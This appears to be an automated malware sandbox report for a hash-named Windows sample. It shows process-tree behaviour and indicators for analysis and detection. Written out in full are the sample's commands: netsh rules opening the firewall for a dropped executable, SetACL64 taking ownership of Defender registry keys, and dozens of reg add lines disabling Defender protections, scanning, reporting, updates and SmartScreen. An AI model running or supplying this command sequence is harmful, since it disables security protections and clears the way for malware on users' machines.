Token: SeRestorePrivilege	2452	SetACL64.exe
Token: SeTakeOwnershipPrivilege	2452	SetACL64.exe
Token: SeBackupPrivilege	3896	SetACL64.exe
Token: SeRestorePrivilege	3896	SetACL64.exe
Token: SeTakeOwnershipPrivilege	3896	SetACL64.exe
Token: SeDebugPrivilege	3196	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3196	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3196	PowerRun64.exe
Token: 0	3196	PowerRun64.exe
Token: SeDebugPrivilege	2092	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2092	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2092	PowerRun64.exe
Token: SeDebugPrivilege	4008	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4008	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4008	PowerRun64.exe
Token: 0	4008	PowerRun64.exe
Token: SeDebugPrivilege	3684	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	3684	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	3684	PowerRun64.exe
Token: SeDebugPrivilege	2444	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2444	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2444	PowerRun64.exe
Token: 0	2444	PowerRun64.exe
Token: SeDebugPrivilege	2056	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2056	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2056	PowerRun64.exe
Token: SeDebugPrivilege	1692	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	1692	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	1692	PowerRun64.exe
Token: 0	1692	PowerRun64.exe
Token: SeDebugPrivilege	2912	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	2912	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	2912	PowerRun64.exe
Token: SeDebugPrivilege	4480	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4480	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4480	PowerRun64.exe
Token: 0	4480	PowerRun64.exe
Token: SeDebugPrivilege	216	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	216	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	216	PowerRun64.exe
Token: SeDebugPrivilege	4308	PowerRun64.exe
Token: SeAssignPrimaryTokenPrivilege	4308	PowerRun64.exe
Token: SeIncreaseQuotaPrivilege	4308	PowerRun64.exe
Token: 0	4308	PowerRun64.exe
Token: SeDebugPrivilege	2648	PowerRun64.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4996 wrote to memory of 3644	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	82
PID 4996 wrote to memory of 3644	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	82
PID 4996 wrote to memory of 3644	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	82
PID 4996 wrote to memory of 2872	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	84
PID 4996 wrote to memory of 2872	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	84
PID 4996 wrote to memory of 2872	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	84
PID 4996 wrote to memory of 4028	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	87
PID 4996 wrote to memory of 4028	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	87
PID 4996 wrote to memory of 4028	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	87
PID 4028 wrote to memory of 2320	4028	dotNetFx40_Full_setup.exe	88
PID 4028 wrote to memory of 2320	4028	dotNetFx40_Full_setup.exe	88
PID 4028 wrote to memory of 2320	4028	dotNetFx40_Full_setup.exe	88
PID 4996 wrote to memory of 4680	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	89
PID 4996 wrote to memory of 4680	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	89
PID 4996 wrote to memory of 4680	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	89
PID 4680 wrote to memory of 4588	4680	dotNetFx45_Full_setup.exe	90
PID 4680 wrote to memory of 4588	4680	dotNetFx45_Full_setup.exe	90
PID 4680 wrote to memory of 4588	4680	dotNetFx45_Full_setup.exe	90
PID 4996 wrote to memory of 5036	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	99
PID 4996 wrote to memory of 5036	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	99
PID 4996 wrote to memory of 5036	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	99
PID 5036 wrote to memory of 1192	5036	cmd.exe	101
PID 5036 wrote to memory of 1192	5036	cmd.exe	101
PID 4996 wrote to memory of 4484	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	102
PID 4996 wrote to memory of 4484	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	102
PID 4996 wrote to memory of 4484	4996	13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe	102
PID 4484 wrote to memory of 4172	4484	cmd.exe	104
PID 4484 wrote to memory of 4172	4484	cmd.exe	104
PID 4484 wrote to memory of 3016	4484	cmd.exe	105
PID 4484 wrote to memory of 3016	4484	cmd.exe	105
PID 4484 wrote to memory of 2588	4484	cmd.exe	106
PID 4484 wrote to memory of 2588	4484	cmd.exe	106
PID 4484 wrote to memory of 4360	4484	cmd.exe	107
PID 4484 wrote to memory of 4360	4484	cmd.exe	107
PID 4484 wrote to memory of 4388	4484	cmd.exe	108
PID 4484 wrote to memory of 4388	4484	cmd.exe	108
PID 4484 wrote to memory of 2452	4484	cmd.exe	109
PID 4484 wrote to memory of 2452	4484	cmd.exe	109
PID 4484 wrote to memory of 3896	4484	cmd.exe	110
PID 4484 wrote to memory of 3896	4484	cmd.exe	110
PID 4484 wrote to memory of 1928	4484	cmd.exe	111
PID 4484 wrote to memory of 1928	4484	cmd.exe	111
PID 4484 wrote to memory of 1928	4484	cmd.exe	111
PID 4484 wrote to memory of 3160	4484	cmd.exe	112
PID 4484 wrote to memory of 3160	4484	cmd.exe	112
PID 4484 wrote to memory of 3160	4484	cmd.exe	112
PID 4484 wrote to memory of 1316	4484	cmd.exe	113
PID 4484 wrote to memory of 1316	4484	cmd.exe	113
PID 4484 wrote to memory of 1316	4484	cmd.exe	113
PID 4484 wrote to memory of 544	4484	cmd.exe	114
PID 4484 wrote to memory of 544	4484	cmd.exe	114
PID 4484 wrote to memory of 544	4484	cmd.exe	114
PID 4484 wrote to memory of 980	4484	cmd.exe	115
PID 4484 wrote to memory of 980	4484	cmd.exe	115
PID 4484 wrote to memory of 980	4484	cmd.exe	115
PID 4484 wrote to memory of 4392	4484	cmd.exe	116
PID 4484 wrote to memory of 4392	4484	cmd.exe	116
PID 4484 wrote to memory of 4392	4484	cmd.exe	116
PID 4484 wrote to memory of 3508	4484	cmd.exe	117
PID 4484 wrote to memory of 3508	4484	cmd.exe	117
PID 4484 wrote to memory of 3508	4484	cmd.exe	117
PID 4484 wrote to memory of 3064	4484	cmd.exe	118
PID 4484 wrote to memory of 3064	4484	cmd.exe	118
PID 4484 wrote to memory of 3064	4484	cmd.exe	118

C:\Users\Admin\AppData\Local\Temp\13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe
"C:\Users\Admin\AppData\Local\Temp\13101216127da473cec5dda480c23c4db57e1f1a9d25f46c7595818c30cf1f52.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4996
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=acxxtzcogvgr dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3644
- C:\Windows\SysWOW64\netsh.exe
  netsh advfirewall firewall add rule name=acxxtzcogvgr dir=out action=allow program="C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\acxxtzcogvgr.exe" enable=yes profile=public,private
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2872
- C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\dotNetFx40_Full_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\dotNetFx40_Full_setup.exe" /q /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4028
- - C:\0f028a3da70e574c6c82a8ebcaa54a0d\Setup.exe
    C:\0f028a3da70e574c6c82a8ebcaa54a0d\\Setup.exe /q /norestart /x86 /x64 /ia64 /web
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2320
- C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\dotNetFx45_Full_setup.exe
  "C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\dotNetFx45_Full_setup.exe" /q /norestart
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4680
- - C:\0b7dc68af61ef92c47d62d46\Setup.exe
    C:\0b7dc68af61ef92c47d62d46\\Setup.exe /q /norestart /x86 /x64 /web
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:4588
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\bn.bat
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1192
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\bnz.bat
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4172
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Windows security modification
    - Suspicious use of AdjustPrivilegeToken
    PID:2588
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4360
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4388
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- - C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\SetACL64.exe
    SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3896
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /f
    3⤵
    PID:1928
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /f
    3⤵
    PID:3160
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1316
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:980
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3508
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /f
    3⤵
    PID:3064
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2064
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3392
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5084
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2660
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2628
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\bnn.bat
  2⤵
  PID:836
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
    3⤵
    PID:3876
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
    3⤵
    PID:4660
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:632
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\bnoo1.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4512
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3632
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
    3⤵
    PID:1372
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1524
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4852
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1692
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2844
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1516
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "PUAProtection" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4964
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t reg_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1468
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" /v "DisableAutoExclusions" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2316
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1044
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "PurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3420
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Quarantine" /v "LocalSettingOverridePurgeItemsAfterDelay" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2792
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:436
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:1964
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRoutinelyTakingAction" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1872
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2912
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScriptScanning" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2144
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t reg_DWORD /d "1" /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1592
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleDay" /t reg_DWORD /d "8" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4932
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Remediation" /v "Scan_ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    PID:2884
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "AdditionalActionTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3180
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\nsgAE33.tmp\bn1.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2012
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "CriticalFailureTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2924
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "NonCriticalTimeOut" /t reg_DWORD /d 0 /f
    3⤵
    PID:1740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableGenericRePorts" /t reg_DWORD /d 1 /f
    3⤵
    PID:944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t reg_DWORD /d "1" /f
    3⤵
    PID:2816
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "AvgCPULoadFactor" /t reg_DWORD /d "10" /f
    3⤵
    PID:1212
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableArchiveScanning" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1580
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupFullScan" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:956
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableCatchupQuickScan" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:516
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRemovableDriveScanning" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1424
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableRestorePoint" /t reg_DWORD /d "1" /f
    3⤵
    PID:3204
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningMappedNetworkDrivesForFullScan" /t reg_DWORD /d "1" /f
    3⤵
    PID:2004
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "DisableScanningNetworkFiles" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3780
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "PurgeItemsAfterDelay" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1648
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleDay" /t reg_DWORD /d 8 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1988
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2524
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanOnlyIfIdle" /t reg_DWORD /d 0 /f
    3⤵
    PID:756
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Scan" /v "ScanParameters" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2168
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" /v "FirstAuGracePeriod" /t reg_DWORD /d "0" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2572
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "DisableUpdateOnStartupWithoutEngine" /t reg_DWORD /d 1 /f
    3⤵
    PID:3520
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleDay" /t reg_DWORD /d 8 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:400
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "ScheduleTime" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1836
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v "SignatureUpdateCatchupInterval" /t reg_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4032
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControl" /t reg_SZ /d "Anywhere" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d 1 /f
    3⤵
    PID:1944
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t reg_DWORD /d "1" /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5040
